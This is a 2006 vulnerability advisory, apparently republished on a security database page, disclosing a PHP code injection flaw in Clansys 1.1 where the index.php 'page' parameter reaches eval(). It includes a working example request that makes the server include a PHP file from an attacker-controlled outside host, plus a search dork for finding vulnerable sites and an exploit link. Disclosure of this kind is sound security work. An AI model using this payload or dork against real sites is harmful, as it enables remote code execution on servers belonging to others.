Clansys <= 1.1 PHP Code Insertion Vulnerability.

2006.04.26
Risk: High
Local: No
Remote: Yes
CWE: CWE-Other


CVSS Base Score: 7.5/10
Impact Subscore: 6.4/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

--Security Report-- Advisory: Clansys <= 1.1 PHP Code Insertion Vulnerability. --- Author: Mustafa Can Bjorn "nukedx a.k.a nuker" IPEKCI --- Date: 23/04/06 21:07 PM --- Contacts:{ ICQ: 10072 MSN/Email: nukedx (at) nukedx (dot) com [email concealed] Web: http://www.nukedx.com } --- Vendor: Clansys (http://www.clansys.de.vu/) Version: 1.1 and prior versions must be affected. About: Via this methods remote attacker can insert PHP code to Clansys. The page parameter in index.php did not sanitized properly. You can found vulnerable code at line 126 as an Code-> eval("?>" . $output); <-Code Purely nice coding isn't it?;) Level: Highly Critical --- How&Example: GET -> http://[victim]/[ClanSysPath]/index.php?page=[PHPCode] EXAMPLE -> http://[victim]/[ClanSysPath]/index.php?page=<?include($s);?>&s=http://y ourhost.com/cmd.txt? With this example remote attacker can include arbitrary PHP files.. --- Timeline: * 23/04/2006: Vulnerability found. * 23/04/2006: Contacted with vendor and waiting reply. --- Exploit: http://www.nukedx.com/?getxpl=29 --- Dorks: "ClanSys v1.1" --- Credits: WW, str0ke , n0m3rcy and all my friends --- Original advisory can be found at: http://www.nukedx.com/?viewdoc=29 --- PS: Corrected example


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2020, cxsecurity.com

 

Back to Top